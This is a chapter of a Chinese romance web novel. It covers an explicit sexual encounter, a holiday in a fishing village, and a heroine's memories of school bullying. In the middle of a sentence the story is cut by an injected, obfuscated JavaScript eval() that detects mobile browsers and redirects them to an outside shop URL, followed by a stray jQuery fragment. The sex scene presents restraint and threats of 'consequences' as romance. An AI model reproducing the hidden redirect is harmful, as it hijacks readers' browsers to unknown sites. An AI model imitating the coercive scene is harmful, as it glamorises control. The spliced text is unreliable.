追逐而至的力量压迫感十足,铺天盖地的吻急切的落下来,苏棠喘不过气,为获取一点氧气,双手不得已撑在他胸膛上,想要把人推开些。
虽然是下意识的动作,但这种抗拒的姿态,沈逸清不喜欢。
苏棠意识朦胧,双手突然被捉住,被人反剪到身后,沈逸清单手扯下领带,绕到她后腰。
缠绕的动作霸道、强硬,带着一股对她三番五次抗拒的不满。
苏棠没敢挣扎,任由他动作,手腕忽的一紧,下一秒男人扶着腰将她扯起来翻了个面。
他背靠在床头坐着,两人面对面,她岔开膝盖跪立在他身上。
屋内有着浓浓的香氛味,橘调的,很快盖过男人身上自带的那股清冷木香,整个屋子的气温都在升腾。
苏棠全身开始发烫,像坐在蒸笼里,可她知道,那下面不是火,是男人同样蹿高的体温,比火更旺,烧得她快丢了理智,只剩慌乱。
沈逸清收回手,突然安静下来,姿势悠闲的靠回床头,一动不动的盯着她,单手存在感十足的虚搭在她腰侧,像是随时准备着截断她想逃开的所有生路,另一只则慢悠悠去解黑衬衫的纽扣。
一颗又一颗,逐渐露出下面健硕的胸膛,一边解一边目光沉沉的盯着苏棠,再没从她脸上移开。
他总是喜欢这样,一边做一边盯着她的眼,还不准她躲,故意看她难堪似的,苏棠心里紧张,下意识的咽了咽口水,眼光不敢正视她,移去别处,却不料立即被男人发现。
“看着我、”声音霸道又暗含威胁,“不听话你知道有什么后果。”
身上的人陡然一震,放大的瞳孔里满是慌张,沈逸清知道她已经方寸大乱。
他审视着人,看她不情不愿的转过迷离的眸子,含着几分羞赧。
沈逸清低垂着眼,女人纤细的腰立在眼前,绷直得像根死板的木头,如临大敌满是戒备,随时准备往后躲。
又瘦了。
眸子刹那间暗了暗。
两人面对面,她里面穿着一条打底裙。
他见过,棋社那天。
腰的侧面两处是镂空设计,欲说还休的露着下面白皙的肌肤,实在勾人。
他伸出食指,慢慢的在腰围附近滑动,最后顺着那镂空的地方慢慢的探了进去,动作很慢很慢,像是故意令她煎熬。
很久之前就想这样做,苦于没什么机会。
苏棠哪里受得住这样,顿时痒得不行,哼叫一声就要躲,腰软下去,一下被人扶住。
“别动。”
他食指在嫩滑的肌肤上不轻不重的磨搓,沉默的感受着女人身体的震颤。
苏棠死咬着唇不发出声音,只是逐渐粗重的呼吸声一下一下的将她出卖。
男人还是那副漫不经心的姿态,除了半解开的衬衫,浑身上下一丝不乱,沉稳中散发出一种摄人心魄的性感。
反观自己的模样,一股莫名的羞耻感涌上苏棠的心头。
眼眶突然有些红。
“哭什么。”
看她一副委屈模样,沈逸清一愣,指腹轻柔的抹去她眼角的泪。
苏棠偏过头,恨恨的表情,不理人。
得,欺负狠了。
沈逸清轻笑一声收回手,翻身将人压在床上。
窗外漫天的烟火肆无忌惮又连绵不休的在玻璃窗上绽放,与屋内的一室旖旎交相辉映。
过了一会儿,沈逸清将迷糊的人抱到窗前,从背后拥着,一点遮拦也没有。
外面不知道什么时候飘起了小雪,抬眼从窗内看出去,雪中的海景别有一番风味,像一片片的星星坠落。
“棠儿、下雪了。”
这座有海又有雪的城市,真的是上天送给人间的浪漫。
怀里的女人也是上天送给他的浪漫。
男人声音温柔响起,手从腋下穿过,强硬的托着她下巴,逼她抬头看向玻璃窗。
他从后面抱着她,她整个在他怀里。
里里外外,窗上窗外,冰火两重,苏棠竟分不清他到底是想让她看雪景还是看玻璃上那难舍难分的投影。
“看、你这个样子...好美...”
白兔似的柔软尽在他掌控,男人嘶哑又情动的声音落在耳边,不顾她的反应,很快有湿热的吻沿着她后颈一路纠缠往下。
呼出的都是热气,苏棠的思维早已随着他的动作一片混沌,刻在骨子里的传统令她对账这样的姿势感到非常害羞,完全不用思考,只顾躲避着他的眼神,想要挣脱他的钳制却提不起一丝力气,整张脸、整个身子,都在发烫,仿佛置身火海,浑身都是浅浅的粉红色。
“棠儿..”
“棠儿...”
身后的人呼吸一样急促,知道他在唤她,可苏棠已经意识模糊,除了破碎的声音从喉咙里压制不住的溢出来,她没有任何回应。
一阵白光闪过后,苏棠昂起了头叫出声,紧接着就是阵失去意识的眩晕,之后记忆渐渐不清,脑中只要彻夜的混乱。
......
再度清醒的时候,她脑子昏昏沉沉,看了眼墙上的钟,慌乱的坐起来穿衣。
身后传来响动,沈逸清立即就醒了,撑手倚在床头无声的看人。
黑色的长发随意的散在雪白的后背,入眼就是满目的无限风情。
沈逸清没忍住,勾住发丝缠在指尖把玩。
察觉到他醒了,苏棠慌乱的拉过一旁的被子遮身子。
即便他们坦诚相见,即便他们才抵死纠缠,女人还是那样容易害羞,无论经历多少次,她的反应还是取悦了沈逸清。
他几不可闻的勾了一下唇,手却没松开。
女人的发丝不是很柔软,带点艰涩的硬度,让他想起陆振霆院里养的那些鸟儿的羽毛。
鼻尖有着似有似无的香味,女人不爱用香水,他知道那是发香,很清幽很好闻。
他漫不经心搂着人,餍足又慵懒的看她。
“用的什么洗发水。”
苏棠一愣,思考了下很快回答。
“随便买的。”
那牌子很便宜,说出来他也不会知道。
“发质一直都这样?”
苏棠疑惑地回头看他。
“有些硬”男人笑笑。
苏棠很喜欢这种发质,但没刻意养过,是从小就这样。
“这样不好吗?”她说,“我挺喜欢的。”
沈逸清一愣,轻笑,不知是有意还是无意。
“像鸟儿一样,不好驯。”
他又想起陆振霆的院子。
苏棠没由来想起前不久他送她那些堆山码地的衣服,还有签合约那天她问的那个问题。
合约之外他们又是什么关系,男人的回答令她沉默。
不把她当恋人当情侣,原来是这个意思。
她垂着眸子,声音突然变得有些低,脸色不悦。
“你把我当什么,鸟吗?”
又是该死的自尊心。
沈逸清默不作声,沉默了一会儿才斟酌着开口。
“那些衣服你不喜欢就算了,我叫人拿走。”对于鸟论他下意识的撒谎,对她强调,“我只是喜欢我的女人穿得漂亮。”
苏棠对这话不满意。
“意思是我不漂亮?”
对于外貌她还是有几分自信的。
还上纲上线耿耿于怀了,沈逸清叹了一口气,无奈。
“漂亮,只是还能更漂亮。”
这是实话。
苏棠不说话。
沈逸清顿感烦躁,侧身去取床头的烟盒,刹那间整个裸露的后背展露在苏棠面前。
床笫之间,男人很少这样背对她,所以当那片触目惊心的疤痕映入眼帘时苏棠猛地一怔。
“你、、这....”
她欲言又止。
后背有微凉的手掌摸上来,伴随女人惊诧不解的声音。
沈逸清身形一顿,回过头来淡淡的解释。
“小时候被火烧,留的疤。”
口吻漫不经心,似乎不放在心上。
被火烧?
得多危险的境地,伤成这样,得丢了半条命吧。
看他没要继续说的样子,苏棠识相闭了嘴。
外面风雪渐大,苏棠坐到床沿一件件的穿衣服。
沈逸清瞟了一眼窗外,皱眉。
“雪下这么大,今晚不走了?”
“不行。”
或许察觉自己语气有些冷淡,苏棠又开口解释。
“爷爷奶奶还等我回家呢,要守年夜。”
她一年到头难得回一次家,不想放弃这难得的温存。
沈逸清心头没由来一落,随即松开了环在她腰间的手。
紧贴的温热突然没了,男人一言不发的站起来走到窗边抽烟,沉默的样子似乎是对她的回答不满意似的。
苏棠眸子暗了暗,静静的坐在床沿慢慢穿衣服。
沈逸清背对着人,不知过去多久,房门忽的一声扣上。
女人甚至连告别的话都没多说一句,他这大老远的来,倒像是个自作多情的笑话,他沈逸清何曾被什么人这样冷待过。
小没良心的。
沈逸清低笑一句,余光扫到床头柜,一愣,慢步过去。
签字笔压着酒店名片,留着女人玉润珠圆的一行字。
他眸色暗了暗,抽出纸片捏在指尖,仰躺回还有余温的被窝,递到眼前——
Iamnobird;andnonetensnaresme.
Iamafreehumanbeingwithanindependentwill.
(我不是飞鸟,也没有落入罗网,我是一个有独立意志且自由的人。)
*
除旧布新,小渔村年味很浓,家家户户窗户上都贴着红纸裁的福字,简素芳也买了些,拉着苏棠挨个窗户都贴了一遍。
坐在客厅守夜,苏棠一家三人找了副纸牌打发时间,两个老人似乎是故意输给她,总之苏棠赢了不少过年钱,早上起来的时候枕头底下居然还压着两个大红包。
这是老人的心意,年年如此,她没拒绝。
滨州是个沿海城市,很多村落都是打渔为生,有它特有的民风民俗,渔灯节就是其中一个。
天还刚亮,全村老少就带着贡品和鱼灯,敲锣打鼓的来到海边祭祀,祈盼来年鱼虾满仓,风调雨顺,蜿蜒的海滩上热闹非常,舞龙舞狮,扭秧歌,踩高跷,还有汉服鱼灯的表演。
秦诗一大早就冲上门,拉着苏棠去老街玩。
泡几,糖龟,肉圆这些特色的渔家饮食,一离开了当地就不容易吃到,两人都很少回来,一路逛吃玩得尽兴。
下午的时候秦诗就要离开,苏棠将人送上车,一个人慢慢往家里走,快到家门口,一下愣住。
一道意外又熟悉的身影正和苏兆民站在院子里,有样学样拿着鱼尾慢悠悠往钩子上挂。
甜晒鱼,浓缩了一年的年味,是老人家最喜欢做的东西。
苏棠走近,看着气氛融洽的两人,夕阳的橙黄余晖洒满院子,在地上拖出两道长长的黑影,两人有说有笑,温馨十足,丝毫没注意后面站了人。
篱笆小院门一动,两人几乎同时转身,顷刻间,那道直白又炙热的视线直勾勾的扫过来。
苏棠站在门口,和他对视,几秒后。
“你怎么还没走?”
他怎么找到这里的,惊讶之余又有些疑惑。
“不待见?那么盼我走?”
沈逸清笑着,手里挂完最后一条鱼慢慢的朝她走过来。
“公司放假了,回去也没事。”
他口吻平淡,像说的是稀松平常的小事。
“大城市里没什么年味,觉得这里比京北有意思,就转过来看看。”
这是实话。
苏兆民早已转身回屋,和简素芳双双挤在窗边
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283180|140067||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,勾着身子往外看,又不敢太明目张胆,好奇的身影要藏不藏,苏棠觉得有些好笑。
沈逸清看了一眼不远处热闹的海滩,低头问她。
“陪我走走?”
苏棠没说话,但动作在往外走。
说是转转,其实就是沿着沙滩散步,瞧各种热闹,沈逸清话不多,苏棠暗中观察了一阵,是真对这里感兴趣。
两人挤在耍游龙的队伍里慢慢走,男人没什么动作,苏棠被人挤到了,他就伸手搂搂她肩膀护着,人走了,就移开。
也没牵手,距离亲近又生疏。
路过文创摊位,卖有刺绣的情侣衫,那吆喝的女人看苏棠盯着那鲤鱼的图案瞧得入神,拉着给她卖力的介绍,眼神不停地往沈逸清身上飘。
男人轻笑了一声。
“幼稚。”
扔完嘲弄的话一刻不停歇的抬脚离开。
也是。
尽管他们在夜晚那样亲密无间,到了白天,还是像陌生人一样毫无关系。
苏棠看了一眼从肩头落下的手,猛然失落。
他们昨晚才睡过一张床,可她只是他的一个搭档,这个尖锐又痛苦的事实冷不丁刺伤了苏棠的心,密密麻麻的苦楚电流一样传遍四肢百骸。
海岸的风又冷了些。
是的,她和他不是情侣。
那句‘幼稚’,是一句委婉的提醒,抵触的借口虚伪又真实。
她落寞的追上男人,突然迎面跑来个女孩,带着龙王面具猝不及防的与她相撞,哎呦一声弯下腰去,连面具都掉了。
苏棠赶忙弯腰去扶人,对方抬起头来两人皆是一愣。
“糖....苏棠!”
亲昵的称呼到了嘴边又突然转变,叫她全名,眼神里全是惊喜。
“是你啊?真的是你!你怎么在这,也来旅游吗?”
江晚渔看着人,兴奋的问她。
“嗯。”
苏棠敷衍着,脸上没什么表情,人站稳,就松开了手。
“高中转学后就没见过你了,得有多少年了?七年?八年?”
女人摸不准,仍旧客气的和她说话。
苏棠没接话,看着她问。
“你来这里玩?”
江晚渔看着不远处的父母笑。
“嗯,和家里一起。”
苏棠点点头。
“当年......”她看着她犹豫的开口,“当年你转学后去哪里了?我到处都找不到你的消息。”
“就回老家了呀,还能去哪。”
她老家是哪里,似乎当年从来没人关心,只知道她是小地方特招来的,成绩好,人漂亮。
江晚渔咬唇,脸色有些愧疚,但稍瞬即逝。
“其实你也没必要走,后面事情闹大了,谢流筝她们都没参加高考,直接出国了。”
出国?
躲去一个什么人也不认识的地方。
这对于那个霸凌小团体而言更多的是包庇和袒护吧。
苏棠没说话,她压根不关心也不在意。
更多的委屈和不平早就在当年爆发过了,但迎接她的是一轮又一轮的恐吓和威胁。
她成绩一向不错,高二那年简素芳不知道从哪里得了消息,市一中正到处搜罗成绩优异的学生,老人对教育一向看重,小地方的高中哪里比得上市里,二话不说就替她递了申请。
她也是高兴的,满怀期待的进入新学校。
不过仅仅半期,就满身疲惫的回来。
青春期的针对总来得莫名其妙,毫无理由,仅仅因为一张和人相似的脸,她什么都不用做,就找来灭顶之灾。
被浇湿的被子、耳光、断了腿的板凳、沾了胶水的笔以及无尽的嘲讽和讥笑,现在想起来,都还心有余悸。
江晚渔还想拉着她说话,可苏棠兴致不高,远处的父母还在呼唤,离开前,她主动加了苏棠的微信。
这个高中的同桌,那么多年过去了,活泼的性子倒没怎么变,当年她只是害怕了,怯懦了,所以只能胆小的旁观。
人人都有下意识自保的心理,说起来,自己也怪不上她什么。
苏棠看着越来越远的背影,心中感慨,低头看着微信的红点,犹豫了片刻还是没有点通过,任由这样忽视。
刚才还在身旁的男人对她的事根本不感兴趣,趁着谈话的间隙已经远远走开,正站在不远处的糖画摊子看稀奇。
听到耳边传来熟悉的脚步,沈逸清下意识的回头。
“聊完了?”
“嗯。”
苏棠低低的应一句。
两人又走一阵,苏棠先开了口。
“你今晚就走?”
沈逸清不懂她什么意思,盯着人看一阵。
“对,怎么了吗?”
她要是舍不得主动留他,也可以多玩几天,碍不了什么大事,反正公司也还在放假,沈逸清心里甜滋滋的,可.....。
“没,我觉得这儿夜景挺好看的。”
苏棠指了指远处的海边小山。
“那里爬上去看夜景,特别美,吹晚风看海上烟火,特别.....”
特别浪漫,这话说出来倒显得两人像情侣似的,她恹恹的改口,“特别漂亮。”
罢了她又感慨了一句十几年来的遗憾。
“可惜不够高,要是在那里建一个摩天轮就好了,视野更宽阔。”
这句话倒是引起了沈逸清的注意。
这一会儿逛下来,他发现这地方几乎没有什么商业开发的影子,要是做旅游,定是一块好土壤。
苏棠遐想着出神,男人的声音慢慢响起。
“也不一定,实在喜欢......万一以后就有了呢。”
说话间伸手,温柔勾去黏在她嘴角的发丝别到耳后。
注视的目光好像把路过的海风都变得缱绻了几分,苏棠心脏莫名的因这话颤了一下。
他这是什么意思....